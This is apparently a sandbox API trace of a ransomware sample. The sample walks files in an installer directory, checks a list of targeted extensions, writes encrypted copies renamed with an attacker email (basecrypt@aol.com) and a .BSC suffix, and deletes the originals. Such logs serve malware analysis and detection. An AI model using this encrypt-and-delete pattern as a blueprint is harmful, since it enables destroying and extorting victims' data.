[0102.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.824] lstrlenW (lpString=".jpg") returned 4 [0102.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.824] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.824] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.825] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=14168) returned 1 [0102.825] CloseHandle (hObject=0x2f4) returned 1 [0102.825] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0102.825] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.825] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.825] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.842] GetLastError () returned 0x0 [0102.842] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x3758, lpOverlapped=0x0) returned 1 [0102.850] WriteFile (in: hFile=0x354, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x3760, lpOverlapped=0x0) returned 1 [0102.852] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.852] WriteFile (in: hFile=0x354, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.852] SetEndOfFile (hFile=0x354) returned 1 [0102.852] CloseHandle (hObject=0x354) returned 1 [0102.853] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.853] SetEndOfFile (hFile=0x2f4) returned 1 [0102.853] CloseHandle (hObject=0x2f4) returned 1 [0102.854] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.854] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0102.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.854] lstrlenW (lpString=".doc") returned 4 [0102.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.854] lstrlenW (lpString=".docx") returned 5 [0102.854] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.854] lstrlenW (lpString=".pdf") returned 4 [0102.854] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.854] lstrlenW (lpString=".xls") returned 4 [0102.854] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.854] lstrlenW (lpString=".xlsx") returned 5 [0102.855] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.855] lstrlenW (lpString=".ppt") returned 4 [0102.855] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.855] lstrlenW (lpString=".zip") returned 4 [0102.855] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.855] lstrlenW (lpString=".rar") returned 4 [0102.855] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.855] lstrlenW (lpString=".bz2") returned 4 [0102.855] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.855] lstrlenW (lpString=".7z") returned 3 [0102.855] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.855] lstrlenW (lpString=".dbf") returned 4 [0102.855] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.855] lstrlenW (lpString=".1cd") returned 4 [0102.855] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.855] lstrlenW (lpString=".jpg") returned 4 [0102.855] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.855] lstrlenW (lpString=".doc") returned 4 [0102.855] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.855] lstrlenW (lpString=".docx") returned 5 [0102.855] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.855] lstrlenW (lpString=".pdf") returned 4 [0102.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.856] lstrlenW (lpString=".xls") returned 4 [0102.856] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.856] lstrlenW (lpString=".xlsx") returned 5 [0102.856] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.856] lstrlenW (lpString=".ppt") returned 4 [0102.856] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.856] lstrlenW (lpString=".zip") returned 4 [0102.856] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.856] lstrlenW (lpString=".rar") returned 4 [0102.856] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.856] lstrlenW (lpString=".bz2") returned 4 [0102.856] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.856] lstrlenW (lpString=".7z") returned 3 [0102.856] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.856] lstrlenW (lpString=".dbf") returned 4 [0102.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.856] lstrlenW (lpString=".1cd") returned 4 [0102.856] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0102.856] lstrlenW (lpString=".jpg") returned 4 [0102.857] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.857] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.857] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.857] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.857] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=14168) returned 1 [0102.857] CloseHandle (hObject=0x2f4) returned 1 [0102.858] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0102.858] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.858] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.858] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.858] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.858] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0102.981] GetLastError () returned 0x0 [0102.981] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x3758, lpOverlapped=0x0) returned 1 [0103.060] WriteFile (in: hFile=0x314, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x3760, lpOverlapped=0x0) returned 1 [0103.062] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.062] WriteFile (in: hFile=0x314, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0103.063] SetEndOfFile (hFile=0x314) returned 1 [0103.063] CloseHandle (hObject=0x314) returned 1 [0103.064] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.064] SetEndOfFile (hFile=0x2f4) returned 1 [0103.065] CloseHandle (hObject=0x2f4) returned 1 [0103.065] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.065] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0103.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.066] lstrlenW (lpString=".doc") returned 4 [0103.066] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0103.066] lstrlenW (lpString=".docx") returned 5 [0103.066] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0103.066] lstrlenW (lpString=".pdf") returned 4 [0103.066] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0103.066] lstrlenW (lpString=".xls") returned 4 [0103.066] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0103.066] lstrlenW (lpString=".xlsx") returned 5 [0103.066] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0103.066] lstrlenW (lpString=".ppt") returned 4 [0103.066] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0103.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.066] lstrlenW (lpString=".zip") returned 4 [0103.066] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0103.066] lstrlenW (lpString=".rar") returned 4 [0103.066] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0103.066] lstrlenW (lpString=".bz2") returned 4 [0103.066] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0103.066] lstrlenW (lpString=".7z") returned 3 [0103.066] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0103.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.066] lstrlenW (lpString=".dbf") returned 4 [0103.066] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0103.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.066] lstrlenW (lpString=".1cd") returned 4 [0103.066] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0103.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.067] lstrlenW (lpString=".jpg") returned 4 [0103.067] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0103.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.067] lstrlenW (lpString=".doc") returned 4 [0103.067] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0103.067] lstrlenW (lpString=".docx") returned 5 [0103.067] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0103.067] lstrlenW (lpString=".pdf") returned 4 [0103.067] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0103.067] lstrlenW (lpString=".xls") returned 4 [0103.067] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0103.067] lstrlenW (lpString=".xlsx") returned 5 [0103.067] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0103.067] lstrlenW (lpString=".ppt") returned 4 [0103.067] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0103.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.067] lstrlenW (lpString=".zip") returned 4 [0103.067] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0103.067] lstrlenW (lpString=".rar") returned 4 [0103.067] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0103.067] lstrlenW (lpString=".bz2") returned 4 [0103.067] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0103.067] lstrlenW (lpString=".7z") returned 3 [0103.067] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0103.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.067] lstrlenW (lpString=".dbf") returned 4 [0103.067] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0103.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.068] lstrlenW (lpString=".1cd") returned 4 [0103.068] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0103.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0103.068] lstrlenW (lpString=".jpg") returned 4 [0103.068] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0103.068] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.068] lstrlenW (lpString="Rotate1.ico") returned 11 [0103.068] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0103.068] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=894) returned 1 [0103.068] CloseHandle (hObject=0x2f4) returned 1 [0103.068] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0103.068] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0103.069] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.069] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0103.069] GetLastError () returned 0x0 [0103.069] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x37e, lpOverlapped=0x0) returned 1 [0103.203] WriteFile (in: hFile=0x314, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x380, lpOverlapped=0x0) returned 1 [0103.208] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.208] WriteFile (in: hFile=0x314, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xea, lpOverlapped=0x0) returned 1 [0103.208] SetEndOfFile (hFile=0x314) returned 1 [0103.208] CloseHandle (hObject=0x314) returned 1 [0103.209] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.209] SetEndOfFile (hFile=0x2f4) returned 1 [0103.210] CloseHandle (hObject=0x2f4) returned 1 [0103.210] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.210] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0103.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.211] lstrlenW (lpString=".doc") returned 4 [0103.211] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.211] lstrlenW (lpString=".docx") returned 5 [0103.211] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0103.211] lstrlenW (lpString=".pdf") returned 4 [0103.211] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.211] lstrlenW (lpString=".xls") returned 4 [0103.211] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.211] lstrlenW (lpString=".xlsx") returned 5 [0103.211] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0103.211] lstrlenW (lpString=".ppt") returned 4 [0103.211] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.211] lstrlenW (lpString=".zip") returned 4 [0103.211] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.211] lstrlenW (lpString=".rar") returned 4 [0103.211] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.211] lstrlenW (lpString=".bz2") returned 4 [0103.211] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.211] lstrlenW (lpString=".7z") returned 3 [0103.211] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.211] lstrlenW (lpString=".dbf") returned 4 [0103.212] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.212] lstrlenW (lpString=".1cd") returned 4 [0103.212] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.212] lstrlenW (lpString=".jpg") returned 4 [0103.212] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.212] lstrlenW (lpString=".doc") returned 4 [0103.212] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.212] lstrlenW (lpString=".docx") returned 5 [0103.212] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0103.212] lstrlenW (lpString=".pdf") returned 4 [0103.212] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.212] lstrlenW (lpString=".xls") returned 4 [0103.212] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.212] lstrlenW (lpString=".xlsx") returned 5 [0103.212] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0103.212] lstrlenW (lpString=".ppt") returned 4 [0103.212] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.212] lstrlenW (lpString=".zip") returned 4 [0103.212] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.212] lstrlenW (lpString=".rar") returned 4 [0103.212] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.213] lstrlenW (lpString=".bz2") returned 4 [0103.213] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.213] lstrlenW (lpString=".7z") returned 3 [0103.213] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.213] lstrlenW (lpString=".dbf") returned 4 [0103.213] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.213] lstrlenW (lpString=".1cd") returned 4 [0103.213] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0103.213] lstrlenW (lpString=".jpg") returned 4 [0103.213] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.213] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.213] lstrlenW (lpString="Rotate5.ico") returned 11 [0103.213] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0103.213] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=894) returned 1 [0103.214] CloseHandle (hObject=0x2f4) returned 1 [0103.214] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0103.214] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.214] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0103.214] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.214] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.214] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0103.215] GetLastError () returned 0x0 [0103.215] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, 